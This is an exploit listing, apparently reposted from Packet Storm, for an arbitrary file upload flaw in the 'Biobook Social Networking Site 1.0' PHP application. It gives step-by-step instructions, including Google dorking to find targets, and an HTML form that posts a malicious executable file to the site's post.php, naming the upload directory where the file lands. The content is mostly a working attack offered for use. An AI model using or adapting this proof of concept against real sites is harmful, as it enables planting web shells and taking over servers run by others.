Biobook Social Networking Site 1.0 Arbitrary File Upload exploit

Share

## https://sploitus.com/exploit?id=PACKETSTORM:180253 ============================================================================================================================================= | # Title : biobook Social Networking Site 1.0 Remote File Upload Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) | | # Vendor : https://www.sourcecodester.com/sites/default/files/download/janobe/Social%20Networking%20Site%20in%20PHP%20with%20Full%20Source%20Code.zip | ============================================================================================================================================= poc : [+] Dorking İn Google Or Other Search Enggine. [+] The following html code uploads a executable malicious file remotely . [+] Go to the line 7. [+] Set the target site link Save changes and apply . [+] save code as poc.html . <div id="right-nav"> <h1>Update Status</h1> <div> <form method="post" action="http://127.0.0.1/social/post.php" enctype="multipart/form-data"> <textarea placeholder="Whats on your mind?" name="content" class="post-text" required=""></textarea> <input type="file" name="image"> <button class="btn-share" name="Submit" value="Log out">Share</button> </form> </div> </div> [+] http://127.0.0.1/social/upload/ Greetings to :============================================================ jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr | ==========================================================================